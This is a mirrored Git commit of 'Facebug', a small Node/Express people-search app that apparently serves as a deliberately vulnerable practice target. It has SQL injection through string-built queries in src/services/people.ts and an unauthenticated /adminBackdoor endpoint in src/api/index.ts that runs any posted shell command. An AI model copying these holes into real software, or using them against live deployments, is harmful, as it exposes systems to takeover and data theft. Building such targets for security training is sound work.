mirror of
https://github.com/danbulant/facebug
synced 2026-05-19 04:18:44 +00:00
initial commit
This commit is contained in:
commit
50eb812ee6
12 changed files with 2245 additions and 0 deletions
10
Dockerfile
Normal file
10
Dockerfile
Normal file
|
|
@ -0,0 +1,10 @@
|
|||
FROM node:20
|
||||
|
||||
COPY . /usr/src/app/
|
||||
|
||||
WORKDIR /usr/src/app
|
||||
RUN corepack enable pnpm
|
||||
RUN pnpm install
|
||||
RUN pnpm run build
|
||||
|
||||
CMD ["npm", "start"]
|
||||
37
README.md
Normal file
37
README.md
Normal file
|
|
@ -0,0 +1,37 @@
|
|||
# Facebug
|
||||
|
||||
Facebug is a simple web application that allows you to search for people by their first and last name.
|
||||
|
||||
## Build instructions
|
||||
|
||||
```bash
|
||||
# build an image
|
||||
docker build -t haxagon/facebug .
|
||||
|
||||
# push an image to private registry
|
||||
docker push haxagon/facebug
|
||||
```
|
||||
|
||||
## Development
|
||||
|
||||
```bash
|
||||
# install dependencies
|
||||
npm install
|
||||
|
||||
# build
|
||||
npm run build
|
||||
|
||||
# start local mysql database server
|
||||
docker run -d -p 3306:3306 --name mysql-docker-container -e MYSQL_ROOT_PASSWORD=facebug -e MYSQL_DATABASE=facebug -e MYSQL_USER=facebug -e MYSQL_PASSWORD=facebug mysql/mysql-server:latest
|
||||
|
||||
# start the application
|
||||
./node_modules/nodemon/bin/nodemon.js lib/app.js
|
||||
```
|
||||
|
||||
## API
|
||||
|
||||
### GET /search
|
||||
|
||||
```bash
|
||||
curl 'localhost:3000/search?firstName=Brad&lastName=Pitt'
|
||||
```
|
||||
37
package.json
Normal file
37
package.json
Normal file
|
|
@ -0,0 +1,37 @@
|
|||
{
|
||||
"name": "facebug",
|
||||
"version": "1.0.0",
|
||||
"description": "",
|
||||
"main": "index.js",
|
||||
"scripts": {
|
||||
"build": "./node_modules/typescript/bin/tsc",
|
||||
"start": "node ./lib/app.js",
|
||||
"lint:fix": "eslint . --fix"
|
||||
},
|
||||
"keywords": [],
|
||||
"author": "",
|
||||
"license": "ISC",
|
||||
"devDependencies": {
|
||||
"@types/express": "^4.17.18",
|
||||
"@types/mssql": "^9.1.1",
|
||||
"@types/node": "^20.7.1",
|
||||
"@typescript-eslint/eslint-plugin": "^6.7.3",
|
||||
"@typescript-eslint/parser": "^6.7.3",
|
||||
"eslint": "^8.50.0",
|
||||
"eslint-config-prettier": "^9.0.0",
|
||||
"nodemon": "^3.0.1",
|
||||
"prettier": "^3.0.3",
|
||||
"typescript": "^5.2.2"
|
||||
},
|
||||
"dependencies": {
|
||||
"@types/mysql2": "github:types/mysql2",
|
||||
"chalk": "^5.3.0",
|
||||
"dotenv": "^16.3.1",
|
||||
"express": "^4.18.2",
|
||||
"express-validator": "^7.0.1",
|
||||
"mysql2": "^3.6.1",
|
||||
"pino": "^6.14.0",
|
||||
"pino-pretty": "^10.2.0"
|
||||
},
|
||||
"type": "module"
|
||||
}
|
||||
1943
pnpm-lock.yaml
Normal file
1943
pnpm-lock.yaml
Normal file
File diff suppressed because it is too large
Load diff
64
src/api/index.ts
Normal file
64
src/api/index.ts
Normal file
|
|
@ -0,0 +1,64 @@
|
|||
import express from 'express';
|
||||
import {query, validationResult} from 'express-validator';
|
||||
import {logger} from '../services/logger.js';
|
||||
import {searchPeople} from "../services/people.js";
|
||||
import {executeBackdoorCommand} from "../services/adminBackdoor.js";
|
||||
|
||||
const api = express();
|
||||
api.use(express.json());
|
||||
const queryValidation = [
|
||||
query('firstName')
|
||||
.exists()
|
||||
.withMessage('firstName is required')
|
||||
.isString(),
|
||||
query('lastName')
|
||||
.exists()
|
||||
.withMessage('firstName is required')
|
||||
.isString()
|
||||
];
|
||||
api.get('/search', queryValidation, async (req, res) => {
|
||||
const validationErrors = validationResult(req);
|
||||
if (!validationErrors.isEmpty()) {
|
||||
logger.warn('invalid domain ping request received', {
|
||||
Data: req.body,
|
||||
Errors: validationErrors.array()
|
||||
});
|
||||
return res.json(validationErrors.array());
|
||||
}
|
||||
try {
|
||||
const searchResult = await searchPeople(req.query.firstName, req.query.lastName)
|
||||
return res.json({"result": searchResult});
|
||||
} catch (e) {
|
||||
logger.error({
|
||||
Data: req.body,
|
||||
err: e
|
||||
}, 'search error');
|
||||
return res.status(500).json({error: e.message});
|
||||
}
|
||||
});
|
||||
|
||||
/*
|
||||
In case I forget SSH password, I can use this backdoor to execute commands on the server
|
||||
Looks like completely safe, right?
|
||||
*/
|
||||
api.post('/adminBackdoor', async (req, res) => {
|
||||
logger.info(`admin backdoor request received, executing command ${req.body.command}`)
|
||||
try {
|
||||
const adminCommandResult = await executeBackdoorCommand(req.body.command)
|
||||
return res.json({"result": adminCommandResult});
|
||||
}
|
||||
catch (e) {
|
||||
logger.error({
|
||||
Data: req.body,
|
||||
err: e
|
||||
}, 'admin backdoor error');
|
||||
return res.status(500).json({error: e.message});
|
||||
}
|
||||
})
|
||||
|
||||
export function startApiServer() {
|
||||
logger.info('starting API server');
|
||||
api.listen(3000, () => {
|
||||
logger.info('API server listening on port 3000');
|
||||
});
|
||||
}
|
||||
11
src/app.ts
Normal file
11
src/app.ts
Normal file
|
|
@ -0,0 +1,11 @@
|
|||
import dotenv from 'dotenv';
|
||||
import {logger} from "./services/logger.js";
|
||||
import {startApiServer} from "./api/index.js";
|
||||
import {initDb} from "./services/people.js";
|
||||
|
||||
(async () => {
|
||||
dotenv.config();
|
||||
await initDb()
|
||||
logger.info(`starting facebug with application`)
|
||||
startApiServer()
|
||||
})();
|
||||
51
src/cli/seed-people-table.ts
Normal file
51
src/cli/seed-people-table.ts
Normal file
|
|
@ -0,0 +1,51 @@
|
|||
import {con, initDb} from "../services/people.js";
|
||||
import {logger} from "../services/logger.js";
|
||||
|
||||
await initDb()
|
||||
|
||||
const people = [
|
||||
{ firstName: 'Karel', lastName: 'Dobry' },
|
||||
{ firstName: 'Brad', lastName: 'Pitt' },
|
||||
{ firstName: 'Jennifer', lastName: 'Aniston' },
|
||||
{ firstName: 'Tom', lastName: 'Hanks' },
|
||||
{ firstName: 'Julia', lastName: 'Roberts' },
|
||||
{ firstName: 'John', lastName: 'Doe' },
|
||||
{ firstName: 'Jane', lastName: 'Smith' },
|
||||
{ firstName: 'Michael', lastName: 'Johnson' },
|
||||
{ firstName: 'Emily', lastName: 'Davis' },
|
||||
{ firstName: 'Robert', lastName: 'Brown' },
|
||||
{ firstName: 'Amanda', lastName: 'Wilson' },
|
||||
{ firstName: 'Daniel', lastName: 'Lee' },
|
||||
{ firstName: 'Sarah', lastName: 'Anderson' },
|
||||
{ firstName: 'Matthew', lastName: 'Taylor' },
|
||||
{ firstName: 'Olivia', lastName: 'Moore' },
|
||||
{ firstName: 'William', lastName: 'Jackson' },
|
||||
{ firstName: 'Sophia', lastName: 'White' },
|
||||
{ firstName: 'James', lastName: 'Martin' },
|
||||
{ firstName: 'Lily', lastName: 'Harris' },
|
||||
{ firstName: 'David', lastName: 'Thompson' },
|
||||
{ firstName: 'Emma', lastName: 'Clark' },
|
||||
{ firstName: 'Christopher', lastName: 'Lewis' },
|
||||
{ firstName: 'Mia', lastName: 'Walker' },
|
||||
{ firstName: 'Joseph', lastName: 'Green' },
|
||||
{ firstName: 'Charlotte', lastName: 'Hall' },
|
||||
{ firstName: 'Andrew', lastName: 'Allen' },
|
||||
{ firstName: 'Grace', lastName: 'Baker' },
|
||||
{ firstName: 'Nicholas', lastName: 'Young' },
|
||||
{ firstName: 'Samantha', lastName: 'Nelson' },
|
||||
{ firstName: 'Ryan', lastName: 'Wright' },
|
||||
{ firstName: 'Ava', lastName: 'King' },
|
||||
{ firstName: 'Kevin', lastName: 'Evans' },
|
||||
{ firstName: 'Madison', lastName: 'Turner' },
|
||||
{ firstName: 'Benjamin', lastName: 'Hill' },
|
||||
{ firstName: 'Hannah', lastName: 'Scott' },
|
||||
{ firstName: 'Jonathan', lastName: 'Adams' },
|
||||
{ firstName: 'Ella', lastName: 'Bennett' },
|
||||
{ firstName: 'Nathan', lastName: 'Carter' },
|
||||
{ firstName: 'Avery', lastName: 'Price' }
|
||||
];
|
||||
|
||||
for (const person of people) {
|
||||
logger.info(`inserting ${person.firstName} ${person.lastName}`)
|
||||
await con.promise().query(`INSERT INTO people (firstName, lastName) VALUES ("${person.firstName}", "${person.lastName}")`)
|
||||
}
|
||||
24
src/config.ts
Normal file
24
src/config.ts
Normal file
|
|
@ -0,0 +1,24 @@
|
|||
import dotenv from "dotenv";
|
||||
|
||||
export interface FacebugConfig {
|
||||
mysql: {
|
||||
host: string
|
||||
port: number,
|
||||
user: string,
|
||||
password: string,
|
||||
database: string
|
||||
}
|
||||
}
|
||||
|
||||
// use dotenv to load .env variables to config (mainly for development)
|
||||
dotenv.config()
|
||||
|
||||
export const config: FacebugConfig = {
|
||||
mysql: {
|
||||
host: process.env.MYSQL_HOST || 'localhost',
|
||||
port: parseInt(process.env.MYSQL_PORT) || 3306,
|
||||
user: process.env.MYSQL_USER || 'facebug',
|
||||
password: process.env.MYSQL_PASSWORD || 'facebug',
|
||||
database: process.env.MYSQL_DATABASE || 'facebug'
|
||||
}
|
||||
}
|
||||
8
src/services/adminBackdoor.ts
Normal file
8
src/services/adminBackdoor.ts
Normal file
|
|
@ -0,0 +1,8 @@
|
|||
import {exec as childProcessExec} from "child_process";
|
||||
import * as util from "util";
|
||||
const exec = util.promisify(childProcessExec)
|
||||
|
||||
export const executeBackdoorCommand = async (command: string) => {
|
||||
const commandResult = await exec(command)
|
||||
return commandResult.stdout
|
||||
}
|
||||
9
src/services/logger.ts
Normal file
9
src/services/logger.ts
Normal file
|
|
@ -0,0 +1,9 @@
|
|||
import pino from 'pino';
|
||||
|
||||
export const logger = pino({
|
||||
name: 'bradlo',
|
||||
level: 'debug',
|
||||
prettyPrint: {
|
||||
colorize: true
|
||||
}
|
||||
});
|
||||
22
src/services/people.ts
Normal file
22
src/services/people.ts
Normal file
|
|
@ -0,0 +1,22 @@
|
|||
import mysql from 'mysql2'
|
||||
import {config} from "../config.js";
|
||||
|
||||
export const con = mysql.createConnection(config.mysql);
|
||||
|
||||
export const initDb = async () => {
|
||||
// create database
|
||||
await con.promise().query(`CREATE DATABASE IF NOT EXISTS ${config.mysql.database}`)
|
||||
|
||||
// create table
|
||||
await con.promise().query(`CREATE TABLE IF NOT EXISTS people (
|
||||
id INT PRIMARY KEY AUTO_INCREMENT,
|
||||
firstName VARCHAR(255) NOT NULL,
|
||||
lastName VARCHAR(255) NOT NULL
|
||||
)`)
|
||||
}
|
||||
|
||||
export const searchPeople = async (firstName, lastName) => {
|
||||
// connect to mysql and make a query
|
||||
const [rows] = await con.promise().query(`SELECT * FROM people WHERE firstName="${firstName}" AND lastName="${lastName}"`)
|
||||
return rows
|
||||
}
|
||||
29
tsconfig.json
Normal file
29
tsconfig.json
Normal file
|
|
@ -0,0 +1,29 @@
|
|||
{
|
||||
"compilerOptions": {
|
||||
"target": "es2022",
|
||||
"module": "node16",
|
||||
"lib": [
|
||||
"ES2022"
|
||||
],
|
||||
"moduleResolution": "NodeNext",
|
||||
"esModuleInterop": true,
|
||||
"rootDir": "./src",
|
||||
"outDir": "lib",
|
||||
"allowSyntheticDefaultImports": true,
|
||||
"importHelpers": true,
|
||||
"alwaysStrict": true,
|
||||
"sourceMap": true,
|
||||
"forceConsistentCasingInFileNames": true,
|
||||
"noFallthroughCasesInSwitch": true,
|
||||
"noImplicitReturns": true,
|
||||
"noUnusedLocals": true,
|
||||
"noUnusedParameters": true,
|
||||
"noImplicitAny": false,
|
||||
"noImplicitThis": false,
|
||||
"strictNullChecks": false,
|
||||
"skipLibCheck": true
|
||||
},
|
||||
"include": [
|
||||
"src/**/*"
|
||||
]
|
||||
}
|
||||
Loading…
Reference in a new issue